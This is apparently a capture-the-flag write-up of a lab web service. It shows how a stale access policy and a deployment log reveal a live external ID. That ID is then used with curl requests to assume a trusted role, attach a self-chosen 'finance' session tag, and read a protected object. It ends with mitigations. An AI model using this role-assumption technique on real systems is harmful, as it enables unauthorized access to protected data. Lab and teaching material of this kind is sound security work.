Overview
The challenge provides a ZIP archive containing deployment information (deployment.log) and an access policy (policy.json). The key clue: “A cached access list names a former role; it may not reflect the current service.” The goal is to discover the current trusted role/external ID combination, assume that identity while attaching the required session tag, and access the protected object.
The application exposes:
GET /api/identity
POST /api/assume (accepts role, external_id, tags)
GET /api/object
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
Download and extract rehearsal.zip locally; jq is handy for JSON output but optional.
Recon
Step 1 — Inspect the challenge files
Goal: Extract the archive and read deployment.log and policy.json.
mv ~/Downloads/rehearsal.zip .
unzip rehearsal.zip
deployment.log:
Lighting integration: externalId=d4a868d5e1dbf4bf89c6c520
policy.json:
{
"trust": {
"role": "lighting",
"externalId": "integration-value"
},
"object": {
"condition": {
"sessionTag/department": "finance"
}
},
"tagSession": true
}
Interpretation:
- Trusted role:
lighting - Cached external ID:
integration-value(possibly stale) - Object access requires
sessionTag/department = finance - Session tags can be attached when assuming the role
The deployment log contains a different external ID, suggesting the policy is stale.
Step 2 — Check the current identity
Goal: Confirm the unauthenticated identity is limited.
curl -s "$TARGET/api/identity" | jq
{
"account": "stageworks",
"role": "visitor",
"session": "guest"
}
Interpretation: The current identity is only a visitor.
Step 3 — Test the protected object without a session
Goal: Confirm /api/object requires a valid session.
curl -i "$TARGET/api/object"
HTTP/1.1 403 FORBIDDEN
Interpretation: A valid session is required to access the object.
Vulnerability Analysis
Exploitation
Step 4 — Assume the role with the current external ID
Goal: Obtain a session token using role lighting, the current external ID from deployment.log, and the finance tag.
curl -i -X POST "$TARGET/api/assume" \
-H 'Content-Type: application/json' \
-d '{
"role": "lighting",
"external_id": "d4a868d5e1dbf4bf89c6c520",
"tags": {
"department": "finance"
}
}'
{
"token": "3dbcebe91e811c0c674548eb9ef51520cf69"
}
Interpretation: The current deployment external ID works and issues a session token.
Step 5 — Confirm the cached external ID is stale
Goal: Verify the policy’s external ID is rejected.
curl -i -X POST "$TARGET/api/assume" \
-H 'Content-Type: application/json' \
-d '{
"role": "lighting",
"external_id": "integration-value",
"tags": {
"department": "finance"
}
}'
HTTP/1.1 403 FORBIDDEN
Interpretation: policy.json (integration-value) is rejected while deployment.log (d4a868d5e1dbf4bf89c6c520) is accepted — the cached policy contained an outdated external ID.
Step 6 — Access the protected object
Goal: Use the session token from /api/assume as the X-Session header.
curl -i \
"$TARGET/api/object" \
-H 'X-Session: 3dbcebe91e811c0c674548eb9ef51520cf69'
HTTP/1.1 200 OK
{
"message": "safctf{REDACTED}",
"ok": true
}
Interpretation: The session token grants access to /api/object, which returns the flag.
Flag
safctf{REDACTED}
Returned by GET /api/object with the session token from assuming role lighting.
Lessons / Takeaways
- A cached access list can name a former role/external ID that no longer reflects the live service — verify against current deployment artifacts.
- Identify the trusted role from the cached policy, then obtain the current external ID from deployment logs.
- Supply the required session tag (
department=finance) when assuming the role. - The stale
integration-valuewas a decoy; the live external ID wasd4a868d5e1dbf4bf89c6c520.
Mitigations
- Keep cached access policies in sync with live deployment configuration; remove stale external IDs.
- Validate external IDs against a current allow-list at assume-time.
- Require session tags and enforce conditions on the protected resource, not only at assume-time.
- Rotate external IDs and short-lived session tokens.
Techniques
- Kubernetes & Cloud IAM Abuse
- Assume Role
References
- OWASP, “Cloud Access Management”: https://owasp.org/www-project-cloud-top-10/
- CWE-284: Improper Access Control: https://cwe.mitre.org/data/definitions/284.html

